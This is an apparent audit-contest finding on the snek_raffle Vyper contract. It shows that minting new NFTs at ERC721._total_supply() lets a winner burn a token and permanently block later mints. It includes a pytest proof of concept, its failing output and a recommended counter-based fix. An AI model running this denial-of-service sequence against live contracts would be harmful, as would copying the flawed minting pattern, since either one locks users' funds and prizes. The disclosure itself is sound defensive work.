Submission Details
Severity:
Using the total supply as the latest available free-to-mint token ID leaves the raffle vulnerable to a Denial of Service (DoS) attack.
Summary
In the fulfillRandomWords internal function, ERC721._total_supply() is utilized to mint the new SNEK NFT for the latest winner of snek_raffle. However, it's important to note that total_supply encompasses all issued tokens and represents the cumulative count of all tokens issued. Although users who own an associated NFT (token ID) have the ability to modify or update total_supply by burning their NFT, relying solely on total_supply to mint new NFTs is considered a poor practice.
.
.
.
def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
index_of_winner: uint256 = random_words[0] % len(self.players)
recent_winner: address = self.players[index_of_winner]
self.recent_winner = recent_winner
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
ERC721._mint(recent_winner, ERC721._total_supply())
----------------------------------------------^
send(recent_winner, self.balance)
.
.
.
Upon closer examination, it's apparent that request_raffle_winner function also returns ERC721._total_supply(). While the developer may assume that both request_id and ERC721_total_supply() are synchronized in time, it's crucial to recognize that ERC721._total_supply() is closely linked to the ERC721.burn function. Consequently, returning ERC721._total_supply() alongside request_id is not advisable.
.
.
.
def request_raffle_winner() -> uint256:
"""Request a random winner from the VRF Coordinator after a raffle has completed."""
is_open: bool = RaffleState.OPEN == self.raffle_state
time_passed: bool = (block.timestamp - self.last_timestamp) > RAFFLE_DURATION
has_players: bool = len(self.players) > 0
has_balance: bool = self.balance > 0
assert is_open and time_passed and has_players and has_balance, ERROR_NOT_ENDED
self.raffle_state = RaffleState.CALCULATING
request_id: uint256 = VRF_COORDINATOR.requestRandomWords(
GAS_LANE,
SUBSCRIPTION_ID,
REQUEST_CONFIRMATIONS,
CALLBACK_GAS_LIMIT,
NUM_WORDS
)
return ERC721._total_supply()
-----------------------^
.
.
.
Vulnerability Details
As it is mentioned in snek_raffle's documentation here that...
When someone wins a snek, it should have all the functionality of a normal NFT. It should be able to be viewed, transferred, approved, etc.
So the snek_raffle protocol is facilitating all above. See the exports...
from libraries.snekmate.tokens import ERC721
initializes: ERC721
exports: (
ERC721.balanceOf,
ERC721.ownerOf,
ERC721.transferFrom,
ERC721.approve,
ERC721.safeTransferFrom,
ERC721.setApprovalForAll,
# ERC721.tokenURI, we are overriding this function
ERC721.totalSupply,
ERC721.tokenOfOwnerByIndex,
ERC721.burn,
------------^
# ERC721.safe_mint, not using this
ERC721.set_minter,
ERC721.permit,
ERC721.transfer_ownership,
ERC721.renounce_ownership,
)
It's all well and good, but using total_supply to mint new tokens isn't ideal. Why?
Impact
A malicious actor, such as a winner, could potentially exploit this vulnerability, leading to a permanent Denial of Service (DoS) attack on the snek_raffle. See the proof of concept (PoC) below for further illustration.
Winner can DoS:
Place the following test at the bottom of the
snek_raffle_test.pyfile.
def test_total_supply_as_token_id_can_lead_to_DoS(raffle_boa, vrf_coordinator_boa, entrance_fee):
# ALICE - New Player for Raffle DoS Demo.
ALICE = boa.env.generate_address("alice")
# Pranking Balances to both user and alice.
boa.env.set_balance(USER, STARTING_BALANCE)
boa.env.set_balance(ALICE, STARTING_BALANCE)
# only user is participating.
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# Normally we need to get the requestID, but our mock ignores that
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
# had only one player `USER` into raffle so `USER` is the winner.
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("\n----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(0))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 0: ", raffle_boa.ownerOf(0))
# USER again participates into raffle alone.
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# Normally we need to get the requestID, but our mock ignores that
vrf_coordinator_boa.fulfillRandomWords(1, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(1))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
with boa.env.prank(USER):
# token ID 1 NFT transferred to ALICE.
raffle_boa.transferFrom(USER, ALICE, 1)
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
print("New Owner ALICE : ", ALICE)
# USER burns his tokenID - token will also be removed from supply.
with boa.env.prank(USER):
# 👇👇👇👇👇👇
raffle_boa.burn(0)
# Token removed from supply.
print("total_supply : ", raffle_boa.totalSupply())
# Now ALICE Participates into raffle
with boa.env.prank(ALICE):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# Normally we need to get the requestID, but our mock ignores that
# This will get failed because total_supply is now 1
# So the latest token ID == total_supply == 1
# but token ID == 1, is already owned by ALICE
vrf_coordinator_boa.fulfillRandomWords(2, raffle_boa.address)
# never reach here
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("----------------------------------------------------------------------------")
Now Open the terminal and execute the following command to test...
Don't forget to activate the venv you're using for vyper.
pytest -v tests/snek_raffle_test.py::test_total_supply_as_token_id_can_lead_to_DoS -s
See the logs...
==================================================================== test session starts =====================================================================
platform linux -- Python 3.10.12, pytest-8.0.2, pluggy-1.4.0 -- /home/theirrationalone/vyperenv/bin/python
cachedir: .pytest_cache
hypothesis profile 'default' -> database=DirectoryBasedExampleDatabase(PosixPath('/home/theirrationalone/first-flights/2024-03-snek-raffle/.hypothesis/examples'))
rootdir: /home/theirrationalone/first-flights/2024-03-snek-raffle
plugins: titanoboa-0.1.8, cov-4.1.0, hypothesis-6.98.17
collected 1 item
tests/snek_raffle_test.py::test_total_supply_as_token_id_can_lead_to_DoS
----------------------------------------------------------------------------
Recent Winner : 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
Winner Balance : 1000000000000000000
Winner NFT : ipfs://QmRujARrkux8nsUG8BzXJa8TiDyz5sDJnVKDqrk3LLsKLX
total_supply : 1
owner of tokenId 0: 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
----------------------------------------------------------------------------
Recent Winner : 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
Winner Balance : 1000000000000000000
Winner NFT : ipfs://QmRujARrkux8nsUG8BzXJa8TiDyz5sDJnVKDqrk3LLsKLX
total_supply : 2
owner of tokenId 1: 0xd13f0Bd22AFF8176761AEFBfC052a7490bDe268E
owner of tokenId 1: 0xA73d7cddCf77c00827459f986bf828999B58C6Fe
New Owner ALICE : 0xA73d7cddCf77c00827459f986bf828999B58C6Fe
total_supply : 1
FAILED
========================================================================== FAILURES ==========================================================================
_______________________________________________________ test_total_supply_as_token_id_can_lead_to_DoS ________________________________________________________
raffle_boa = <contracts/snek_raffle.vy at 0x2cb6bCe32aeF4eD506382896e702DE7Ff109D9E9, compiled with vyper-0.4.0b1+6fb750a>
<storage...0000000000000000, players=<truncated>, raffle_state=unimplemented decoder for `flag RaffleState('OPEN','CALCULATING')`>
vrf_coordinator_boa = <contracts/test/VRFCoordinatorV2Mock.vy at 0x0880cf17Bd263d3d3a5c09D2D86cCecA3CcbD97c, compiled with vyper-0.4.0b1+6fb750a>
<storage: dummy_address=0x00dE89C733555886f785b0C32b498300297e481F>
entrance_fee = 1000000000000000000
def test_total_supply_as_token_id_can_lead_to_DoS(raffle_boa, vrf_coordinator_boa, entrance_fee):
# ALICE - New Player for Raffle DoS Demo.
ALICE = boa.env.generate_address("alice")
# Pranking Balances to both user and alice.
boa.env.set_balance(USER, STARTING_BALANCE)
boa.env.set_balance(ALICE, STARTING_BALANCE)
# only user is participating.
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# Normally we need to get the requestID, but our mock ignores that
vrf_coordinator_boa.fulfillRandomWords(0, raffle_boa.address)
# had only one player `USER` into raffle so `USER` is the winner.
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("\n----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(0))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 0: ", raffle_boa.ownerOf(0))
# USER again participates into raffle alone.
with boa.env.prank(USER):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# Normally we need to get the requestID, but our mock ignores that
vrf_coordinator_boa.fulfillRandomWords(1, raffle_boa.address)
recent_winner = raffle_boa.get_recent_winner()
winner_balance = boa.env.get_balance(recent_winner)
print("----------------------------------------------------------------------------")
print("Recent Winner : ", recent_winner)
print("Winner Balance : ", winner_balance)
print("Winner NFT : ", raffle_boa.tokenURI(1))
print("total_supply : ", raffle_boa.totalSupply())
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
with boa.env.prank(USER):
# token ID 1 NFT transferred to ALICE.
raffle_boa.transferFrom(USER, ALICE, 1)
print("owner of tokenId 1: ", raffle_boa.ownerOf(1))
print("New Owner ALICE : ", ALICE)
# USER burns his tokenID - token will also be removed from supply.
with boa.env.prank(USER):
raffle_boa.burn(0)
# Token removed from supply.
print("total_supply : ", raffle_boa.totalSupply())
# Now ALICE Participates into raffle
with boa.env.prank(ALICE):
raffle_boa.enter_raffle(value=entrance_fee)
boa.env.time_travel(seconds=INTERVAL + 1)
raffle_boa.request_raffle_winner()
# Normally we need to get the requestID, but our mock ignores that
# This will get failed because total_supply is now 1
# So the latest token ID == total_supply == 1
# but token ID == 1, is already owned by ALICE
> vrf_coordinator_boa.fulfillRandomWords(2, raffle_boa.address)
tests/snek_raffle_test.py:154:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
../../vyperenv/lib/python3.10/site-packages/boa/contracts/vyper/vyper_contract.py:1010: in __call__
return self.contract.marshal_to_python(computation, typ)
../../vyperenv/lib/python3.10/site-packages/boa/contracts/vyper/vyper_contract.py:713: in marshal_to_python
self.handle_error(computation)
../../vyperenv/lib/python3.10/site-packages/boa/contracts/base_evm_contract.py:36: in handle_error
raise strip_internal_frames(b) from None
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
self = <contracts/test/VRFCoordinatorV2Mock.vy at 0x0880cf17Bd263d3d3a5c09D2D86cCecA3CcbD97c, compiled with vyper-0.4.0b1+6fb750a>
<storage: dummy_address=0x00dE89C733555886f785b0C32b498300297e481F>
computation = <abc.TitanoboaComputation object at 0x7f9d8fbcf2b0>, vyper_typ = None
def marshal_to_python(self, computation, vyper_typ):
self._computation = computation # for further inspection
if computation.is_error:
> self.handle_error(computation)
E boa.contracts.base_evm_contract.BoaError: ERC721: token already minted <## READ THIS
E
E <contracts/snek_raffle.vy at 0x2cb6bCe32aeF4eD506382896e702DE7Ff109D9E9, compiled with vyper-0.4.0b1+6fb750a>
E <storage: rarityToTokenURI={1: 'ipfs://QmZit9nbdhJsRTt3JBQN458dfZ1i6LR3iPGxGQwq34Li4a', 2: 'ipfs://QmRujARrkux8nsUG8BzXJa8TiDyz5sDJnVKDqrk3LLsKLX', 0: 'ipfs://QmSQcYNrMGo5ZuGm1PqYtktvg1tWKGR7PJ9hQosKqMz2nD'}, tokenIdToRarity={0: 2, 1: 2}, last_timestamp=1710282088, recent_winner=0xA73d7cddCf77c00827459f986bf828999B58C6Fe, players=<truncated>, raffle_state=unimplemented decoder for `flag RaffleState('OPEN','CALCULATING')`>
E <compiler: user revert with reason>
E
E contract "contracts/snek_raffle.vy:157", function "fulfillRandomWords", line 157:4
E 156 log WinnerPicked(recent_winner)
E ---> 157 ERC721._mint(recent_winner, ERC721._total_supply())
E -------------^
E 158 send(recent_winner, self.balance)
E <locals: request_id=2, random_words=[77], index_of_winner=0, recent_winner=0xA73d7cddCf77c00827459f986bf828999B58C6Fe, rarity=2>
E
E <contracts/test/VRFCoordinatorV2Mock.vy at 0x0880cf17Bd263d3d3a5c09D2D86cCecA3CcbD97c, compiled with vyper-0.4.0b1+6fb750a>
E <storage: dummy_address=0x00dE89C733555886f785b0C32b498300297e481F>
E <compiler: external call failed>
E
E contract "contracts/test/VRFCoordinatorV2Mock.vy:60", function "fulfillRandomWordsWithOverride", line 60:26
E 59 call_data: Bytes[3236] = _abi_encode(requestId, words, method_id=method_id("rawFulfillRandomWords(uint256,uint256[1])"))
E ---> 60 response: Bytes[32] = raw_call(consumer, call_data, max_outsize=32)
E ----------------------------------^
E 61 log RandomWordsFulfilled(requestId, requestId, 0, True)
E <locals: requestId=762178895660093717103408550560206871692195701331228084519870800356708, consumer=0x2cb6bCe32aeF4eD506382896e702DE7Ff109D9E9, words=[77], call_data=b'N\x04\xd7\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00M', response=b'N\x04\xd7\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'>
../../vyperenv/lib/python3.10/site-packages/boa/contracts/vyper/vyper_contract.py:713: BoaError
================================================================== short test summary info ===================================================================
FAILED tests/snek_raffle_test.py::test_total_supply_as_token_id_can_lead_to_DoS - boa.contracts.base_evm_contract.BoaError: Revert('ERC721: token already minted')
===================================================================== 1 failed in 1.73s ======================================================================
So It's a bare DoS.
Tools Used
Manual Review, Pytest
Recommendations
A state variable can be used instead of ERC721._total_supply().
Please update your snek_raffle as follows:
.
.
.
## Storage Variables
last_timestamp: uint256
recent_winner: address
players: DynArray[address, MAX_NUMBER_OF_PLAYERS]
raffle_state: RaffleState
+ token_id: uint256
.
.
.
@external
def request_raffle_winner() -> uint256:
"""Request a random winner from the VRF Coordinator after a raffle has completed."""
is_open: bool = RaffleState.OPEN == self.raffle_state
time_passed: bool = (block.timestamp - self.last_timestamp) > RAFFLE_DURATION
has_players: bool = len(self.players) > 0
has_balance: bool = self.balance > 0
assert is_open and time_passed and has_players and has_balance, ERROR_NOT_ENDED
self.raffle_state = RaffleState.CALCULATING
request_id: uint256 = VRF_COORDINATOR.requestRandomWords(
GAS_LANE,
SUBSCRIPTION_ID,
REQUEST_CONFIRMATIONS,
CALLBACK_GAS_LIMIT,
NUM_WORDS
)
- return ERC721._total_supply()
+ return request_id
.
.
.
@internal
def fulfillRandomWords(request_id: uint256, random_words: uint256[MAX_ARRAY_SIZE]):
index_of_winner: uint256 = random_words[0] % len(self.players)
recent_winner: address = self.players[index_of_winner]
+ token_id: uint256 = self.token_id
+ self.token_id += 1
self.recent_winner = recent_winner
self.players = []
self.raffle_state = RaffleState.OPEN
self.last_timestamp = block.timestamp
rarity: uint256 = random_words[0] % 3
self.tokenIdToRarity[ERC721._total_supply()] = rarity
log WinnerPicked(recent_winner)
- ERC721._mint(recent_winner, ERC721._total_supply())
+ ERC721._mint(recent_winner, token_id)
send(recent_winner, self.balance)
.
.
.
Now, if you attempt to re-execute the PoC test after implementing this update, it will pass successfully.
Updates
Lead Judging Commences
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
Minting the total_supply leads to brinking if people burn their NFTs to reduce the total supply
Rewards breakdown
nSLOC
136This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.